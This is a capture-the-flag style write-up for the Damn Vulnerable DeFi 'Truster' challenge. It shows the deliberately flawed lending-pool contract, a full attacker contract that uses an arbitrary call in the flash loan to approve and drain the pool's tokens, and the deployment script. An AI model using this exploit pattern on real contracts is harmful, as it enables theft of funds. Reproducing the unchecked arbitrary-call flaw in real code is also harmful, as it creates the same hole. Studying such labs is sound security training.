Damn Vulnerable DeFi - Truster

The contract

There is a pool containing 1 million DVT. The task is to drain it starting from nothing.

The solution

The contract is extremely short, here it is:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}

The only relevant line in the code is the fact that it allows to use "functionCall" without performing any check, either on who is calling the functionality or on what kind of function will be executed (which target, which data).
This means we can create a new contract that will interact with this one to exploit it. The attack vector is the following:

  1. the attacker contract calls the "flashLoan" function. As the code to execute inside "functionCall", we use the "approve" function of ERC20 tokens like the DVT. The parameters for the "approve" function are the attacker contract address and the total balance of the lending pool.
  2. Once the code executes, we are now allowed to transfer the total pool balance to the attacker contract address, effectively draining the pool

This is the smart contract that will perform the attack:

pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";

contract trusterSolve {

    function attack(DamnValuableToken token, TrusterLenderPool pool) public {
        uint balance = token.balanceOf(address(pool));
        bytes memory exploit = abi.encodeWithSignature("approve(address,uint256)", address(this), balance);
        pool.flashLoan(0, msg.sender, address(token), exploit);
        token.transferFrom(address(pool), msg.sender, balance);

    }
}

In order to run the tests, in the challenge file we can deploy the attacking contract and call its main function:

exploitContractFactory = await ethers.getContractFactory("trusterSolve", player);
exploitContract = await exploitContractFactory.deploy();
await exploitContract.connect(player).attack(token.address, pool.address);

Merry hacking ;)


You'll only receive email when they publish something new.

More from emacab98
All posts